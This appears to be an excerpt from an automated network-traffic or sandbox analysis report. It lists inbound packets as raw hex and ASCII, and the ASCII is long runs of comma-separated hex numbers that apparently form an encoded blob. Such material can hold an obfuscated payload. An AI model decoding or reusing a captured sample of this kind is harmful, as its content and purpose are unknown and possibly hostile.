2023-11-06 14:35:15 UTC	48	IN	Data Raw: 2c 36 31 2c 66 66 2c 31 31 36 2c 65 35 2c 31 32 39 2c 31 32 35 2c 63 33 2c 61 39 2c 31 35 63 2c 31 32 31 2c 62 32 2c 31 34 37 2c 31 37 35 2c 31 34 32 2c 31 33 33 2c 31 33 31 2c 37 34 2c 31 31 31 2c 65 65 2c 61 32 2c 31 35 35 2c 62 63 2c 63 66 2c 34 35 2c 33 39 2c 37 30 2c 34 33 2c 34 66 2c 38 61 2c 61 64 2c 63 61 2c 61 37 2c 64 64 2c 31 35 30 2c 62 31 2c 31 31 64 2c 66 32 2c 31 36 31 2c 38 64 2c 63 66 2c 31 36 30 2c 61 62 2c 63 30 2c 61 31 2c 63 65 2c 31 34 32 2c 36 39 2c 66 61 2c 39 36 2c 39 35 2c 36 33 2c 31 33 64 2c 63 65 2c 31 34 39 2c 31 34 35 2c 31 33 37 2c 31 33 38 2c 61 35 2c 31 30 37 2c 61 34 2c 37 35 2c 34 65 2c 66 37 2c 31 34 34 2c 64 62 2c 65 38 2c 31 35 30 2c 31 34 32 2c 63 30 2c 31 35 33 2c 31 33 37 2c 31 34 33 2c 66 66 2c 31 34 61 2c 63 36 Data Ascii: ,61,ff,116,e5,129,125,c3,a9,15c,121,b2,147,175,142,133,131,74,111,ee,a2,155,bc,cf,45,39,70,43,4f,8a,ad,ca,a7,dd,150,b1,11d,f2,161,8d,cf,160,ab,c0,a1,ce,142,69,fa,96,95,63,13d,ce,149,145,137,138,a5,107,a4,75,4e,f7,144,db,e8,150,142,c0,153,137,143,ff,14a,c6
2023-11-06 14:35:15 UTC	49	IN	Data Raw: 31 34 33 2c 31 36 32 2c 31 35 34 2c 66 30 2c 39 38 2c 62 65 2c 62 64 2c 66 39 2c 65 34 2c 35 39 2c 64 32 2c 39 36 2c 31 34 61 2c 36 63 2c 31 34 62 2c 31 32 32 2c 31 35 36 2c 35 62 2c 38 64 2c 31 32 37 2c 61 32 2c 66 62 2c 63 66 2c 64 39 2c 31 34 32 2c 31 33 34 2c 39 30 2c 31 37 33 2c 31 34 31 2c 31 33 33 2c 31 33 31 2c 31 34 30 2c 31 33 39 2c 38 33 2c 37 31 2c 36 35 2c 35 38 2c 31 32 65 2c 34 39 2c 31 31 37 2c 31 36 66 2c 31 34 32 2c 31 31 32 2c 39 39 2c 35 61 2c 62 33 2c 38 63 2c 35 32 2c 31 35 33 2c 62 34 2c 31 34 39 2c 31 36 36 2c 31 36 31 2c 39 31 2c 65 37 2c 62 34 2c 61 61 2c 62 31 2c 34 62 2c 31 33 61 2c 63 65 2c 31 33 33 2c 38 37 2c 63 63 2c 31 33 64 2c 65 65 2c 39 61 2c 36 64 2c 66 62 2c 38 61 2c 38 38 2c 37 64 2c 37 30 2c 65 36 2c 39 37 2c 38 31 Data Ascii: 143,162,154,f0,98,be,bd,f9,e4,59,d2,96,14a,6c,14b,122,156,5b,8d,127,a2,fb,cf,d9,142,134,90,173,141,133,131,140,139,83,71,65,58,12e,49,117,16f,142,112,99,5a,b3,8c,52,153,b4,149,166,161,91,e7,b4,aa,b1,4b,13a,ce,133,87,cc,13d,ee,9a,6d,fb,8a,88,7d,70,e6,97,81
2023-11-06 14:35:15 UTC	51	IN	Data Raw: 63 61 2c 39 65 2c 31 33 37 2c 64 65 2c 61 63 2c 62 38 2c 63 39 2c 31 33 33 2c 34 31 2c 65 35 2c 38 33 2c 64 61 2c 38 30 2c 62 32 2c 66 35 2c 39 39 2c 31 32 32 2c 31 33 32 2c 39 62 2c 62 65 2c 66 33 2c 36 32 2c 33 38 2c 34 34 2c 66 37 2c 31 35 35 2c 37 35 2c 63 30 2c 61 35 2c 63 65 2c 34 31 2c 61 32 2c 38 32 2c 39 35 2c 36 33 2c 64 65 2c 62 32 2c 31 33 34 2c 64 31 2c 34 35 2c 61 64 2c 62 31 2c 38 37 2c 34 66 2c 62 63 2c 36 33 2c 64 63 2c 38 64 2c 39 36 2c 36 62 2c 35 37 2c 31 32 34 2c 61 30 2c 61 66 2c 31 31 34 2c 63 31 2c 38 64 2c 65 35 2c 62 61 2c 31 32 37 2c 65 32 2c 31 30 63 2c 34 30 2c 62 64 2c 39 38 2c 61 64 2c 65 63 2c 39 39 2c 37 36 2c 36 30 2c 31 34 35 2c 37 64 2c 31 31 35 2c 31 35 62 2c 31 31 65 2c 31 33 37 2c 34 39 2c 31 33 63 2c 31 36 62 2c 31 Data Ascii: ca,9e,137,de,ac,b8,c9,133,41,e5,83,da,80,b2,f5,99,122,132,9b,be,f3,62,38,44,f7,155,75,c0,a5,ce,41,a2,82,95,63,de,b2,134,d1,45,ad,b1,87,4f,bc,63,dc,8d,96,6b,57,124,a0,af,114,c1,8d,e5,ba,127,e2,10c,40,bd,98,ad,ec,99,76,60,145,7d,115,15b,11e,137,49,13c,16b,1
2023-11-06 14:35:15 UTC	52	IN	Data Raw: 33 2c 31 31 65 2c 31 34 30 2c 31 35 30 2c 62 63 2c 61 65 2c 66 30 2c 31 35 30 2c 63 62 2c 31 32 65 2c 61 64 2c 39 63 2c 63 38 2c 31 34 65 2c 61 35 2c 37 36 2c 31 36 62 2c 31 32 32 2c 64 37 2c 31 32 62 2c 63 38 2c 37 33 2c 66 34 2c 61 66 2c 31 33 30 2c 39 35 2c 64 65 2c 36 36 2c 66 61 2c 39 38 2c 31 36 33 2c 39 34 2c 39 65 2c 33 33 2c 39 31 2c 31 35 30 2c 31 33 61 2c 64 61 2c 31 32 35 2c 63 63 2c 34 63 2c 31 32 65 2c 37 65 2c 31 36 34 2c 34 34 2c 63 34 2c 33 61 2c 63 66 2c 62 39 2c 35 63 2c 35 32 2c 36 62 2c 37 34 2c 35 61 2c 31 35 32 2c 39 62 2c 64 39 2c 62 30 2c 63 34 2c 39 65 2c 36 64 2c 38 36 2c 31 33 61 2c 62 37 2c 36 34 2c 38 32 2c 31 32 39 2c 64 64 2c 31 34 66 2c 31 35 34 2c 31 36 34 2c 62 31 2c 63 62 2c 66 38 2c 61 64 2c 39 35 2c 31 34 32 2c 31 31 Data Ascii: 3,11e,140,150,bc,ae,f0,150,cb,12e,ad,9c,c8,14e,a5,76,16b,122,d7,12b,c8,73,f4,af,130,95,de,66,fa,98,163,94,9e,33,91,150,13a,da,125,cc,4c,12e,7e,164,44,c4,3a,cf,b9,5c,52,6b,74,5a,152,9b,d9,b0,c4,9e,6d,86,13a,b7,64,82,129,dd,14f,154,164,b1,cb,f8,ad,95,142,11
2023-11-06 14:35:15 UTC	53	IN	Data Raw: 34 32 2c 61 39 2c 34 31 2c 63 63 2c 39 36 2c 36 66 2c 62 66 2c 62 35 2c 65 30 2c 61 32 2c 33 65 2c 31 33 38 2c 63 38 2c 31 32 63 2c 63 37 2c 31 33 30 2c 31 34 64 2c 31 36 62 2c 64 34 2c 37 30 2c 31 35 33 2c 39 66 2c 31 32 36 2c 31 36 36 2c 31 36 31 2c 61 32 2c 36 36 2c 63 64 2c 65 33 2c 37 35 2c 64 36 2c 31 36 38 2c 31 32 65 2c 62 36 2c 66 65 2c 31 30 64 2c 31 31 64 2c 31 32 66 2c 31 32 31 2c 31 33 31 2c 31 32 34 2c 31 31 32 2c 63 33 2c 38 35 2c 39 34 2c 34 37 2c 31 34 36 2c 66 32 2c 35 31 2c 36 63 2c 34 63 2c 35 32 2c 64 66 2c 37 38 2c 65 34 2c 36 38 2c 65 35 2c 66 39 2c 34 35 2c 66 38 2c 31 31 61 2c 65 31 2c 39 39 2c 31 36 65 2c 31 30 34 2c 33 37 2c 33 32 2c 34 31 2c 35 31 2c 64 38 2c 31 34 34 2c 36 61 2c 35 38 2c 34 36 2c 33 38 2c 33 39 2c 66 64 2c 65 Data Ascii: 42,a9,41,cc,96,6f,bf,b5,e0,a2,3e,138,c8,12c,c7,130,14d,16b,d4,70,153,9f,126,166,161,a2,66,cd,e3,75,d6,168,12e,b6,fe,10d,11d,12f,121,131,124,112,c3,85,94,47,146,f2,51,6c,4c,52,df,78,e4,68,e5,f9,45,f8,11a,e1,99,16e,104,37,32,41,51,d8,144,6a,58,46,38,39,fd,e
2023-11-06 14:35:15 UTC	58	IN	Data Raw: 2c 35 31 2c 31 36 32 2c 36 61 2c 31 34 35 2c 31 30 38 2c 38 36 2c 33 38 2c 31 32 34 2c 31 34 62 2c 63 36 2c 31 34 64 2c 31 32 64 2c 63 33 2c 37 65 2c 64 37 2c 39 37 2c 31 35 62 2c 64 66 2c 39 61 2c 36 62 2c 31 32 39 2c 33 64 2c 63 30 2c 63 34 2c 39 65 2c 36 64 2c 34 63 2c 37 37 2c 34 33 2c 33 34 2c 31 31 64 2c 31 30 35 2c 38 39 2c 63 30 2c 31 35 31 2c 64 39 2c 35 66 2c 64 31 2c 37 64 2c 31 33 31 2c 66 33 2c 61 33 2c 62 66 2c 31 32 65 2c 64 39 2c 31 33 32 2c 61 37 2c 31 31 62 2c 31 32 65 2c 64 66 2c 31 35 39 2c 62 63 2c 65 64 2c 31 32 34 2c 63 37 2c 31 36 30 2c 37 61 2c 31 30 65 2c 31 31 62 2c 62 38 2c 38 37 2c 33 34 2c 36 35 2c 31 30 36 2c 64 61 2c 61 38 2c 31 35 31 2c 62 38 2c 65 33 2c 61 33 2c 34 34 2c 38 66 2c 66 62 2c 62 38 2c 35 37 2c 38 38 2c 31 33 Data Ascii: ,51,162,6a,145,108,86,38,124,14b,c6,14d,12d,c3,7e,d7,97,15b,df,9a,6b,129,3d,c0,c4,9e,6d,4c,77,43,34,11d,105,89,c0,151,d9,5f,d1,7d,131,f3,a3,bf,12e,d9,132,a7,11b,12e,df,159,bc,ed,124,c7,160,7a,10e,11b,b8,87,34,65,106,da,a8,151,b8,e3,a3,44,8f,fb,b8,57,88,13
2023-11-06 14:35:15 UTC	62	IN	Data Raw: 61 65 2c 38 36 2c 33 38 2c 63 36 2c 62 39 2c 34 33 2c 37 32 2c 31 30 32 2c 64 38 2c 37 32 2c 64 34 2c 35 39 2c 66 35 2c 39 61 2c 35 62 2c 31 32 38 2c 31 34 62 2c 33 61 2c 63 63 2c 62 62 2c 35 62 2c 66 30 2c 31 31 31 2c 37 39 2c 63 36 2c 66 62 2c 33 34 2c 63 34 2c 31 34 61 2c 36 62 2c 63 37 2c 31 30 62 2c 31 34 62 2c 65 62 2c 31 33 37 2c 35 64 2c 31 30 35 2c 66 37 2c 61 35 2c 37 31 2c 34 65 2c 66 63 2c 36 66 2c 31 32 33 2c 66 35 2c 35 61 2c 65 32 2c 36 65 2c 65 35 2c 66 65 2c 34 35 2c 31 33 35 2c 31 34 33 2c 36 66 2c 63 65 2c 31 33 65 2c 34 34 2c 62 37 2c 31 32 62 2c 34 39 2c 63 33 2c 65 62 2c 31 34 38 2c 31 30 61 2c 31 35 37 2c 36 61 2c 63 64 2c 65 64 2c 63 36 2c 38 33 2c 34 66 2c 62 65 2c 39 37 2c 36 63 2c 66 37 2c 61 38 2c 61 62 2c 35 34 2c 66 32 2c 62 Data Ascii: ae,86,38,c6,b9,43,72,102,d8,72,d4,59,f5,9a,5b,128,14b,3a,cc,bb,5b,f0,111,79,c6,fb,34,c4,14a,6b,c7,10b,14b,eb,137,5d,105,f7,a5,71,4e,fc,6f,123,f5,5a,e2,6e,e5,fe,45,135,143,6f,ce,13e,44,b7,12b,49,c3,eb,148,10a,157,6a,cd,ed,c6,83,4f,be,97,6c,f7,a8,ab,54,f2,b
2023-11-06 14:35:15 UTC	63	IN	Data Raw: 33 38 2c 31 34 33 2c 39 38 2c 65 37 2c 62 64 2c 61 33 2c 62 37 2c 34 33 2c 63 34 2c 39 36 2c 39 38 2c 39 31 2c 36 33 2c 64 64 2c 62 63 2c 39 38 2c 34 36 2c 65 38 2c 39 30 2c 62 30 2c 34 33 2c 64 39 2c 37 37 2c 35 31 2c 38 66 2c 31 31 64 2c 64 61 2c 62 32 2c 35 37 2c 64 64 2c 31 35 35 2c 36 33 2c 66 39 2c 31 32 64 2c 37 36 2c 64 64 2c 31 35 63 2c 34 63 2c 66 61 2c 31 33 63 2c 33 63 2c 61 34 2c 66 33 2c 31 34 65 2c 31 35 36 2c 66 61 2c 31 36 31 2c 31 35 37 2c 36 61 2c 63 64 2c 38 39 2c 63 38 2c 38 33 2c 34 66 2c 62 65 2c 39 37 2c 36 63 2c 64 36 2c 39 38 2c 36 65 2c 37 37 2c 31 32 62 2c 65 66 2c 61 39 2c 33 62 2c 63 65 2c 62 61 2c 35 63 2c 31 32 65 2c 31 33 34 2c 37 39 2c 63 62 2c 37 62 2c 33 34 2c 63 34 2c 31 33 66 2c 36 35 2c 64 38 2c 31 35 34 2c 35 61 2c Data Ascii: 38,143,98,e7,bd,a3,b7,43,c4,96,98,91,63,dd,bc,98,46,e8,90,b0,43,d9,77,51,8f,11d,da,b2,57,dd,155,63,f9,12d,76,dd,15c,4c,fa,13c,3c,a4,f3,14e,156,fa,161,157,6a,cd,89,c8,83,4f,be,97,6c,d6,98,6e,77,12b,ef,a9,3b,ce,ba,5c,12e,134,79,cb,7b,34,c4,13f,65,d8,154,5a,
2023-11-06 14:35:15 UTC	67	IN	Data Raw: 39 66 2c 63 31 2c 37 65 2c 31 35 34 2c 31 30 61 2c 39 34 2c 31 32 64 2c 31 34 63 2c 31 36 62 2c 31 34 62 2c 31 35 31 2c 31 35 33 2c 62 33 2c 35 61 2c 36 37 2c 36 32 2c 63 33 2c 61 31 2c 31 35 38 2c 39 35 2c 31 34 63 2c 62 66 2c 38 38 2c 31 34 32 2c 61 39 2c 33 61 2c 39 38 2c 61 34 2c 31 34 62 2c 64 35 2c 31 31 64 2c 31 35 37 2c 31 34 35 2c 62 62 2c 66 64 2c 37 63 2c 37 65 2c 31 32 65 2c 61 36 2c 61 66 2c 63 32 2c 62 36 2c 35 61 2c 31 36 61 2c 38 39 2c 63 36 2c 62 31 2c 61 36 2c 33 38 2c 31 34 33 2c 38 39 2c 39 36 2c 31 31 64 2c 38 62 2c 37 37 2c 63 65 2c 31 30 63 2c 36 64 2c 31 32 30 2c 63 36 2c 61 66 2c 38 65 2c 61 32 2c 36 38 2c 39 35 2c 37 63 2c 33 39 2c 65 34 2c 37 36 2c 61 35 2c 31 31 39 2c 37 30 2c 31 33 64 2c 31 34 62 2c 31 35 31 2c 63 34 2c 64 39 Data Ascii: 9f,c1,7e,154,10a,94,12d,14c,16b,14b,151,153,b3,5a,67,62,c3,a1,158,95,14c,bf,88,142,a9,3a,98,a4,14b,d5,11d,157,145,bb,fd,7c,7e,12e,a6,af,c2,b6,5a,16a,89,c6,b1,a6,38,143,89,96,11d,8b,77,ce,10c,6d,120,c6,af,8e,a2,68,95,7c,39,e4,76,a5,119,70,13d,14b,151,c4,d9
2023-11-06 14:35:15 UTC	71	IN	Data Raw: 2c 31 32 31 2c 64 34 2c 31 33 64 2c 31 34 65 2c 31 33 30 2c 61 37 2c 64 34 2c 35 35 2c 35 36 2c 36 62 2c 31 31 34 2c 31 35 39 2c 37 63 2c 31 32 61 2c 65 38 2c 38 34 2c 37 34 2c 61 61 2c 31 36 63 2c 36 30 2c 31 33 62 2c 66 33 2c 37 34 2c 33 32 2c 31 30 61 2c 31 31 34 2c 31 32 66 2c 61 61 2c 66 30 2c 31 34 34 2c 39 39 2c 38 65 2c 39 30 2c 63 35 2c 61 64 2c 34 66 2c 39 62 2c 34 65 2c 64 34 2c 65 30 2c 62 33 2c 61 62 2c 35 34 2c 31 35 39 2c 64 63 2c 36 61 2c 31 32 30 2c 61 65 2c 38 38 2c 35 61 2c 36 64 2c 61 38 2c 64 36 2c 61 31 2c 38 66 2c 62 64 2c 31 32 36 2c 61 65 2c 31 32 36 2c 65 30 2c 62 31 2c 37 63 2c 34 61 2c 31 32 66 2c 37 61 2c 37 34 2c 34 39 2c 34 66 2c 33 31 2c 34 65 2c 31 32 34 2c 34 64 2c 35 32 2c 36 62 2c 35 34 2c 63 65 2c 39 39 2c 65 64 2c 37 Data Ascii: ,121,d4,13d,14e,130,a7,d4,55,56,6b,114,159,7c,12a,e8,84,74,aa,16c,60,13b,f3,74,32,10a,114,12f,aa,f0,144,99,8e,90,c5,ad,4f,9b,4e,d4,e0,b3,ab,54,159,dc,6a,120,ae,88,5a,6d,a8,d6,a1,8f,bd,126,ae,126,e0,b1,7c,4a,12f,7a,74,49,4f,31,4e,124,4d,52,6b,54,ce,99,ed,7
2023-11-06 14:35:15 UTC	75	IN	Data Raw: 2c 66 32 2c 31 34 65 2c 31 33 30 2c 61 37 2c 61 37 2c 31 30 66 2c 63 36 2c 37 34 2c 31 31 62 2c 35 61 2c 31 34 34 2c 31 33 66 2c 33 38 2c 34 34 2c 66 37 2c 31 31 61 2c 37 35 2c 64 36 2c 31 36 37 2c 31 32 65 2c 33 36 2c 36 35 2c 31 33 37 2c 38 63 2c 31 35 36 2c 63 39 2c 61 36 2c 31 35 37 2c 62 62 2c 31 33 30 2c 38 66 2c 63 37 2c 31 34 32 2c 63 34 2c 31 32 35 2c 31 34 64 2c 65 31 2c 35 38 2c 31 35 31 2c 65 30 2c 35 63 2c 31 35 39 2c 37 63 2c 31 35 65 2c 65 38 2c 38 34 2c 37 34 2c 64 66 2c 31 32 64 2c 62 66 2c 39 39 2c 39 36 2c 38 37 2c 36 62 2c 39 65 2c 36 64 2c 64 38 2c 35 39 2c 62 38 2c 61 62 2c 31 33 31 2c 33 65 2c 31 33 38 2c 65 35 2c 35 66 2c 31 34 65 2c 61 36 2c 36 36 2c 31 36 62 2c 63 31 2c 31 34 61 2c 63 31 2c 61 37 2c 31 35 39 2c 64 63 2c 38 32 2c Data Ascii: ,f2,14e,130,a7,a7,10f,c6,74,11b,5a,144,13f,38,44,f7,11a,75,d6,167,12e,36,65,137,8c,156,c9,a6,157,bb,130,8f,c7,142,c4,125,14d,e1,58,151,e0,5c,159,7c,15e,e8,84,74,df,12d,bf,99,96,87,6b,9e,6d,d8,59,b8,ab,131,3e,138,e5,5f,14e,a6,66,16b,c1,14a,c1,a7,159,dc,82,
2023-11-06 14:35:15 UTC	79	IN	Data Raw: 31 2c 31 33 37 2c 62 61 2c 64 34 2c 31 34 32 2c 37 64 2c 66 34 2c 31 37 36 2c 31 34 32 2c 31 33 33 2c 61 38 2c 61 35 2c 31 33 39 2c 36 62 2c 66 65 2c 31 36 34 2c 31 35 37 2c 31 34 35 2c 61 65 2c 61 31 2c 31 35 38 2c 34 33 2c 66 38 2c 31 33 30 2c 31 34 64 2c 31 36 62 2c 63 32 2c 62 65 2c 31 35 33 2c 31 34 63 2c 31 30 32 2c 31 36 36 2c 31 36 31 2c 31 33 37 2c 62 61 2c 65 34 2c 31 34 32 2c 31 35 64 2c 66 33 2c 31 37 36 2c 31 34 32 2c 31 33 33 2c 61 38 2c 62 35 2c 31 33 39 2c 31 34 62 2c 66 64 2c 31 36 34 2c 31 35 37 2c 31 34 35 2c 61 65 2c 62 31 2c 31 35 38 2c 31 32 33 2c 66 37 2c 31 33 30 2c 31 34 64 2c 31 36 62 2c 63 32 2c 63 65 2c 31 35 33 2c 31 32 63 2c 31 30 32 2c 31 36 36 2c 31 36 31 2c 62 62 2c 31 30 38 2c 62 34 2c 31 35 39 2c 31 32 33 2c 63 62 2c 37 Data Ascii: 1,137,ba,d4,142,7d,f4,176,142,133,a8,a5,139,6b,fe,164,157,145,ae,a1,158,43,f8,130,14d,16b,c2,be,153,14c,102,166,161,137,ba,e4,142,15d,f3,176,142,133,a8,b5,139,14b,fd,164,157,145,ae,b1,158,123,f7,130,14d,16b,c2,ce,153,12c,102,166,161,bb,108,b4,159,123,cb,7
2023-11-06 14:35:15 UTC	83	IN	Data Raw: 30 2c 61 61 2c 36 34 2c 35 35 2c 62 63 2c 39 38 2c 37 31 2c 34 33 2c 34 66 2c 62 63 2c 38 33 2c 31 34 38 2c 66 63 2c 39 32 2c 36 62 2c 65 31 2c 61 37 2c 31 34 66 2c 62 33 2c 38 38 2c 31 34 33 2c 31 34 61 2c 65 35 2c 38 61 2c 31 34 33 2c 31 32 37 2c 38 33 2c 33 34 2c 62 37 2c 31 30 31 2c 63 35 2c 63 31 2c 64 38 2c 65 32 2c 31 34 30 2c 34 37 2c 61 64 2c 39 31 2c 66 64 2c 38 38 2c 31 33 37 2c 38 31 2c 31 34 64 2c 65 31 2c 35 38 2c 31 35 31 2c 31 34 31 2c 64 39 2c 31 31 61 2c 64 62 2c 61 64 2c 62 62 2c 63 31 2c 31 35 63 2c 35 62 2c 65 32 2c 39 30 2c 31 30 32 2c 62 38 2c 31 31 30 2c 66 39 2c 38 36 2c 31 32 35 2c 36 34 2c 35 35 2c 36 35 2c 35 38 2c 63 39 2c 31 33 36 2c 31 33 38 2c 65 35 2c 34 66 2c 31 34 65 2c 61 36 2c 31 32 36 2c 31 35 34 2c 61 30 2c 31 32 65 Data Ascii: 0,aa,64,55,bc,98,71,43,4f,bc,83,148,fc,92,6b,e1,a7,14f,b3,88,143,14a,e5,8a,143,127,83,34,b7,101,c5,c1,d8,e2,140,47,ad,91,fd,88,137,81,14d,e1,58,151,141,d9,11a,db,ad,bb,c1,15c,5b,e2,90,102,b8,110,f9,86,125,64,55,65,58,c9,136,138,e5,4f,14e,a6,126,154,a0,12e
2023-11-06 14:35:15 UTC	87	IN	Data Raw: 37 2c 36 35 2c 36 38 2c 31 32 39 2c 31 33 31 2c 37 66 2c 63 34 2c 31 33 38 2c 63 65 2c 61 62 2c 35 35 2c 35 65 2c 66 37 2c 61 30 2c 37 36 2c 37 37 2c 64 66 2c 39 65 2c 38 62 2c 36 61 2c 31 30 39 2c 31 32 64 2c 31 34 35 2c 31 33 35 2c 31 33 65 2c 31 33 35 2c 31 34 38 2c 31 31 62 2c 33 66 2c 66 62 2c 62 36 2c 31 34 35 2c 31 35 61 2c 31 34 38 2c 66 30 2c 31 34 38 2c 31 33 64 2c 39 63 2c 35 64 2c 38 34 2c 63 65 2c 31 31 37 2c 62 63 2c 39 32 2c 39 30 2c 35 63 2c 31 34 39 2c 31 35 31 2c 35 37 2c 31 32 62 2c 64 39 2c 37 30 2c 37 33 2c 39 38 2c 39 38 2c 36 36 2c 65 34 2c 35 33 2c 65 39 2c 35 32 2c 36 66 2c 37 36 2c 36 35 2c 35 39 2c 64 39 2c 35 65 2c 62 33 2c 38 33 2c 38 61 2c 35 63 2c 34 39 2c 38 62 2c 39 37 2c 37 33 2c 34 35 2c 38 31 2c 31 34 37 2c 37 37 2c 39 Data Ascii: 7,65,68,129,131,7f,c4,138,ce,ab,55,5e,f7,a0,76,77,df,9e,8b,6a,109,12d,145,135,13e,135,148,11b,3f,fb,b6,145,15a,148,f0,148,13d,9c,5d,84,ce,117,bc,92,90,5c,149,151,57,12b,d9,70,73,98,98,66,e4,53,e9,52,6f,76,65,59,d9,5e,b3,83,8a,5c,49,8b,97,73,45,81,147,77,9
2023-11-06 14:35:15 UTC	91	IN	Data Raw: 62 2c 36 39 2c 31 32 63 2c 62 36 2c 39 62 2c 38 30 2c 38 31 2c 62 38 2c 31 30 38 2c 63 38 2c 31 31 61 2c 34 65 2c 66 33 2c 63 31 2c 61 65 2c 31 33 30 2c 63 64 2c 38 35 2c 31 36 35 2c 65 39 2c 62 65 2c 63 32 2c 31 33 62 2c 62 34 2c 31 30 34 2c 39 33 2c 62 66 2c 38 62 2c 63 32 2c 61 35 2c 38 39 2c 39 39 2c 61 62 2c 61 36 2c 64 32 2c 31 31 66 2c 62 66 2c 64 65 2c 38 31 2c 62 38 2c 38 62 2c 61 30 2c 61 39 2c 38 37 2c 65 61 2c 31 31 31 2c 63 63 2c 38 63 2c 61 35 2c 63 37 2c 65 65 2c 65 33 2c 34 65 2c 31 30 62 2c 64 61 2c 62 31 2c 62 35 2c 39 33 2c 62 66 2c 39 34 2c 39 64 2c 38 33 2c 62 32 2c 31 31 36 2c 65 33 2c 35 65 2c 62 36 2c 62 38 2c 31 33 66 2c 38 39 2c 61 33 2c 63 31 2c 61 33 2c 34 66 2c 36 61 2c 63 62 2c 37 31 2c 38 35 2c 63 66 2c 62 63 2c 62 64 2c 31 Data Ascii: b,69,12c,b6,9b,80,81,b8,108,c8,11a,4e,f3,c1,ae,130,cd,85,165,e9,be,c2,13b,b4,104,93,bf,8b,c2,a5,89,99,ab,a6,d2,11f,bf,de,81,b8,8b,a0,a9,87,ea,111,cc,8c,a5,c7,ee,e3,4e,10b,da,b1,b5,93,bf,94,9d,83,b2,116,e3,5e,b6,b8,13f,89,a3,c1,a3,4f,6a,cb,71,85,cf,bc,bd,1
2023-11-06 14:35:15 UTC	95	IN	Data Raw: 38 31 2c 38 64 2c 66 35 2c 31 31 64 2c 37 64 2c 39 34 2c 63 30 2c 38 63 2c 37 63 2c 37 61 2c 38 39 2c 39 39 2c 63 30 2c 38 65 2c 31 32 32 2c 31 30 62 2c 35 36 2c 38 31 2c 38 32 2c 62 39 2c 31 30 38 2c 64 35 2c 37 38 2c 31 30 64 2c 31 31 66 2c 35 63 2c 39 62 2c 62 34 2c 39 64 2c 31 31 37 2c 31 32 61 2c 31 33 61 2c 38 31 2c 38 64 2c 62 64 2c 39 33 2c 66 65 2c 34 62 2c 62 39 2c 35 32 2c 65 66 2c 34 32 2c 38 61 2c 39 61 2c 61 63 2c 31 32 30 2c 31 35 65 2c 31 31 35 2c 66 39 2c 34 38 2c 38 32 2c 62 39 2c 38 63 2c 31 32 63 2c 61 37 2c 36 65 2c 31 32 39 2c 31 30 66 2c 31 33 36 2c 62 34 2c 39 64 2c 61 33 2c 31 32 34 2c 31 35 65 2c 37 30 2c 37 63 2c 31 36 62 2c 31 31 37 2c 31 32 30 2c 35 62 2c 63 30 2c 38 63 2c 37 64 2c 31 30 66 2c 62 37 2c 37 31 2c 31 32 30 2c 31 Data Ascii: 81,8d,f5,11d,7d,94,c0,8c,7c,7a,89,99,c0,8e,122,10b,56,81,82,b9,108,d5,78,10d,11f,5c,9b,b4,9d,117,12a,13a,81,8d,bd,93,fe,4b,b9,52,ef,42,8a,9a,ac,120,15e,115,f9,48,82,b9,8c,12c,a7,6e,129,10f,136,b4,9d,a3,124,15e,70,7c,16b,117,120,5b,c0,8c,7d,10f,b7,71,120,1
2023-11-06 14:35:15 UTC	99	IN	Data Raw: 31 2c 31 32 37 2c 39 61 2c 62 36 2c 39 34 2c 63 30 2c 31 30 30 2c 66 37 2c 37 36 2c 38 61 2c 39 61 2c 61 63 2c 31 31 34 2c 61 39 2c 31 30 66 2c 61 35 2c 31 33 37 2c 38 32 2c 62 39 2c 38 63 2c 61 65 2c 63 36 2c 39 38 2c 62 35 2c 39 35 2c 31 32 36 2c 61 65 2c 31 32 37 2c 39 66 2c 66 37 2c 65 37 2c 66 30 2c 64 34 2c 37 62 2c 38 65 2c 37 35 2c 39 33 2c 37 37 2c 38 63 2c 61 63 2c 62 33 2c 31 30 34 2c 39 64 2c 61 64 2c 39 65 2c 61 65 2c 61 30 2c 38 65 2c 38 30 2c 38 31 2c 63 64 2c 37 63 2c 31 30 63 2c 65 63 2c 39 61 2c 62 36 2c 39 35 2c 39 62 2c 31 33 30 2c 64 62 2c 61 31 2c 31 32 36 2c 31 31 64 2c 38 34 2c 38 65 2c 62 64 2c 61 33 2c 31 32 61 2c 66 65 2c 31 34 66 2c 38 63 2c 37 64 2c 37 62 2c 37 61 2c 65 32 2c 36 39 2c 39 37 2c 37 34 2c 31 31 62 2c 39 32 2c 38 Data Ascii: 1,127,9a,b6,94,c0,100,f7,76,8a,9a,ac,114,a9,10f,a5,137,82,b9,8c,ae,c6,98,b5,95,126,ae,127,9f,f7,e7,f0,d4,7b,8e,75,93,77,8c,ac,b3,104,9d,ad,9e,ae,a0,8e,80,81,cd,7c,10c,ec,9a,b6,95,9b,130,db,a1,126,11d,84,8e,bd,a3,12a,fe,14f,8c,7d,7b,7a,e2,69,97,74,11b,92,8
2023-11-06 14:35:15 UTC	103	IN	Data Raw: 61 2c 65 30 2c 31 30 61 2c 62 34 2c 38 62 2c 39 36 2c 62 34 2c 39 34 2c 31 34 63 2c 62 63 2c 62 31 2c 61 62 2c 64 31 2c 31 36 30 2c 62 66 2c 63 36 2c 31 31 31 2c 31 31 66 2c 63 37 2c 36 66 2c 31 33 65 2c 61 30 2c 63 36 2c 37 61 2c 38 39 2c 39 39 2c 62 34 2c 63 64 2c 31 36 33 2c 31 31 66 2c 63 62 2c 63 32 2c 38 31 2c 62 38 2c 38 62 2c 61 30 2c 61 39 2c 31 34 38 2c 31 33 31 2c 63 36 2c 37 62 2c 31 33 30 2c 62 35 2c 31 35 37 2c 31 32 65 2c 63 63 2c 63 34 2c 38 63 2c 62 63 2c 61 32 2c 37 32 2c 31 34 34 2c 31 33 63 2c 63 38 2c 31 30 35 2c 38 33 2c 61 31 2c 31 31 36 2c 64 63 2c 31 34 64 2c 65 63 2c 63 65 2c 63 65 2c 34 30 2c 38 61 2c 63 39 2c 31 30 38 2c 61 66 2c 36 32 2c 35 34 2c 62 64 2c 62 39 2c 31 31 39 2c 66 30 2c 61 61 2c 61 32 2c 61 66 2c 61 61 2c 62 66 Data Ascii: a,e0,10a,b4,8b,96,b4,94,14c,bc,b1,ab,d1,160,bf,c6,111,11f,c7,6f,13e,a0,c6,7a,89,99,b4,cd,163,11f,cb,c2,81,b8,8b,a0,a9,148,131,c6,7b,130,b5,157,12e,cc,c4,8c,bc,a2,72,144,13c,c8,105,83,a1,116,dc,14d,ec,ce,ce,40,8a,c9,108,af,62,54,bd,b9,119,f0,aa,a2,af,aa,bf
